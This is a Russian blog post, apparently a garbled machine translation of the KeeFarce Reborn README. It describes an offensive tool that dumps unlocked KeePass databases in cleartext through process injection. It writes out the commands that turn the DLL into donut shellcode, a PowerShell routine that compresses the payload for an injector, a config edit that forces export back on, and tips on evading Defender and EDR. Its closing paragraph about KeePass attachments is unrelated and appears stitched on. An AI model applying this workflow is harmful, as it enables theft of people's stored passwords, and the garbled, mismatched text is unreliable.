Один из инструментов извлечения KeePass,

Один из инструментов извлечения в KeePass

Несколько лет назад выпустили KeeFarce, первый наступательный инструмент, предназначенный для извлечения баз данных KeePass в формате Cleartex. Он работает путем внедрения DLL в запущенный процесс, затем просматривает кучу с помощью ClrMD, чтобы найти необходимые объекты и вызывает встроенный метод экспорта KeePass с использованием отражения. Единственным недостатком в то время было то, что на цель нужно было сбросить несколько файлов (DLL извлечения + DLL ClrMD + инжектор + загрузочная DLL). Рассмотрим Один из инструментов извлечения в KeePass.

Год спустя tifki@n_ и  @harmj0y выпустили подробный обзор наступательных техник, нацеленных на KeePass (хотя статьи больше не доступны в блоге harmj0y, статьи можно найти на Wayback Machine: часть 1, часть 2). Это привело к выпуску KeeThief, инструмента, способного расшифровывать главный ключ KeePass (в том числе при использовании альтернативного метода аутентификации). Это сработало настолько хорошо, что разработчики KeePass добавили параметр, смягчающий эту технику (его можно отключить, отредактировав файл конфигурации KeePass, если у пользователя достаточно прав, что довольно часто).

Эти инструменты быстро стали помощниками во время тестирования на проникновение, но вскоре они устарели, поскольку их методы внедрения (а именно, знаменитая банда Win32 API VirtualAllocEx, WriteProcessMemory, CreateRemoteThread, WriteProcessMemory и т. д.) теперь немедленно запускают обнаружение. @snovvcrash решил эту проблему, разветвив KeeThief (теперь в частном репозитории, но все еще доступном здесь), чтобы улучшить механизм внедрения с помощью D/Invoke, написав отличную статью с подробным описанием процесса, которому он следовал. Хотя он продемонстрировал осуществимость поддержки KeeThief, мне трудно регулярно внедрять новые методы внедрения, поскольку код KeeThief тесно связан с его инжектором.

@holly-cracker также выпустил KeePassHax, который представляет собой единую DLL и использует отражение только для расшифровки главного ключа KeePass. Вдохновленный этой работой, я решил сделать то же самое с KeeFarce и написать свой собственный инструмент извлечения KeePass со следующими функциями:

  • Самодостаточный ⇒ для работы не требуется взаимодействие с кодом инжектора.
  • Используются только встроенные библиотеки .NET (без ClrMD) ⇒ лучшая совместимость + однофайловая DLL упрощает процесс внедрения.
  • Экспорт базы данных (например, KeeFarce) ⇒ нет необходимости извлекать .kdbx или использовать пользовательскую сборку KeePass для ввода восстановленного мастер-ключа.

Постройка

Поскольку код основан исключительно на .NET Framework без каких-либо внешних зависимостей, он должен легко компилироваться в Visual Studio 2015 и более поздних версиях.

Пример использования

После того, как KeePassReborn.dll скомпилирован, вы должны использовать свой собственный инжектор для работы с запущенным процессом KeePass. Это сделано намеренно, так как форсунки устаревают каждые несколько месяцев.

Поскольку мне лично проще внедрить шелл-код, чем DLL в удаленный процесс, первое, с чего я обычно начинаю, это генерировать шелл-код, не зависящий от позиции, из нашей DLL. Похоже, проект пончиков @odzhan и @TheWover идеально подходит для наших нужд.

Мы компилируем пончик из коммита в ветке dev, поскольку он устраняет проблему в управлении доменом приложения, из-за которой мы не могли выполнить отражение в домене по умолчанию.

git clone https://github.com/TheWover/donut/
cd donut
git checkout 9d781d8da571eb1499122fc0e2d6e89e5a43603c

Мы можем легко выполнить сборку из командной строки Visual Studio x64 Native Tools с помощью утилиты nmake:

nmake -f Makefile.msvc

Сгенерировать шеллкод очень просто:

.\donut.exe "C:\KeeFarceReborn\KeePassReborn\bin\Release\KeeFarceReborn.dll" -c KeeFarceReborn.Program -m Main -e 1

[ Donut shellcode generator v0.9.3
[ Copyright (c) 2019 TheWover, Odzhan

[ Instance type : Embedded
[ Module file : "C:\KeeFarceReborn\KeePassReborn\bin\Release\KeeFarceReborn.dll"
[ Entropy : None
[ File type : .NET DLL
[ Class : KeeFarceReborn.Program
[ Method : Main
[ Target CPU : x86+amd64
[ AMSI/WDLP : continue
[ Shellcode : "loader.bin"

Обратите внимание, что параметр -e 1 необходим для отключения энтропии, иначе внедряемый процесс не будет находиться в домене приложения по умолчанию.

Давайте сожмем его с помощью PowerShell для более легкой интеграции в код инжектора:

$bytes = [System.IO.File]::ReadAllBytes("C:\donut\loader.bin")
[System.IO.MemoryStream] $outStream = New-Object System.IO.MemoryStream
$deflateStream = New-Object System.IO.Compression.DeflateStream($outStream, [System.IO.Compression.CompressionLevel]::Optimal)
$deflateStream.Write($bytes, 0, $bytes.Length)
$deflateStream.Dispose()
$outBytes = $outStream.ToArray()
$outStream.Dispose()
$b64 = [System.Convert]::ToBase64String($outBytes)
Write-Output $b64 | clip

Теперь у вас есть полезная нагрузка, готовая к внедрению вашей любимой техники. Если вы не знаете, что делать сейчас, я предлагаю вам посетить страницу ired.team Code & Process Injection, чтобы ознакомиться с концепцией, а затем взглянуть на прямые системные вызовы и D/Invoke, которые, вероятно, сделают эту работу в большинстве случаев. . Курсы @SEKTOR7 по разработке вредоносного ПО полны полезных знаний, если вы можете себе это позволить.

В качестве примера давайте внедрим нашу полезную нагрузку, используя код VeraCryptThief от snovvcrash (сам вдохновленный курсами SEKTOR7), который использует D/Invoke. Для демонстрации я скопировал его проект в папку SampleInjector, нам нужно только вставить наш сжатый шеллкод, а затем скомпилировать в x64.

Хотя на данный момент (ноябрь 2022 г.) он по-прежнему обходит Defender, конечно, потребуется переделка собственного инжектора, чтобы обойти современные EDR. Этот образец инжектора просто здесь, чтобы продемонстрировать, что все ведет себя так, как ожидалось.

Запустив .\SampleInjector.exe вместе с открытой базой данных KeePass, вы увидите, что отладочные сообщения печатаются в MessageBox (которые, очевидно, должны быть удалены при использовании в реальном сценарии тестирования на проникновение), а затем найдете экспортированную базу данных в %APPDATA% текущего пользователя ( выбрано по умолчанию, так как KeePass обязательно будет иметь доступ для записи). Экспортированный файл XML можно позже импортировать в любую базу данных KeePass, не запрашивая пароль.

Если функция экспорта отключена политикой, ее все равно можно включить, отредактировав файл KeePass.config.xml:

<Policy>
<Export>true</Export>
</Policy>

Возможные предостережения

Обнаружение

Хотя основная проблема, связанная с обнаружением инструментов извлечения KeePass, связана с инжекторами, сканирование в памяти также может вызывать предупреждения при анализе шелл-кода. Вероятно, вам придется запутать и/или зашифровать шелл-код для использования с вашим инжектором.

Кроме того, метод Assembly.Load, используемый для выполнения отражения, может рассматриваться как вредоносное поведение. Я заметил, что сам KeePass иногда использует его в законных целях, поэтому я думаю, что большинство антивирусных решений не будут его помечать.

Совместимость

  • KeeFarce Reborn использует только .NET Framework без каких-либо внешних зависимостей, поэтому он должен быть достаточно совместим с большинством целей.
  • По умолчанию решение KeeFarce Reborn Visual Studio нацелено на .NET 4.6 (установлено по умолчанию в Windows 10), но может быть изменено.
  • Если .NET Framework не установлен в целевой системе, вы все равно можете установить его вручную из командной строки с помощью DISM.exe.
  • Я тестировал только внедрение полезной нагрузки x64, но это должно работать и с 32-битными архитектурами.

Дорожная карта

Подробно проверьте, какие части DLL могут запускать EDR.

Предоставьте запутанную версию DLL

Добавить возможность записи событий в файл для отладки при атаке на цель без использования шумных окон сообщений.

Автономная библиотека DLL, которая экспортирует базы данных в виде открытого текста после внедрения в процесс KeePass.
 

Выводы

 

Любая запись в базе KeePass’а может содержать не только текстовую информацию, но и файлы (Дополнительно &񗣂 Прикрепленные файлы). Разумеется, они хранятся зашифрованными, как и прочие данные. Прикрепленные файлы можно извлекать, сохраняя в отдельное место; можно извлекать во временный каталог с EFS-шифрованием, чтобы открывать и редактировать в сторонних программах. Более того, их можно просматривать в самом KeePass’е, не извлекая: встроенный просмотрщик KeePass’а умеет показывать изображения, html-страницы, текст в формате RTF, простой текст, причем в разных кодировках, а также двоичные файлы в HEX-виде.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Click to rate this post!
[Total: 0 Average: 0]

Leave a reply:

Your email address will not be published.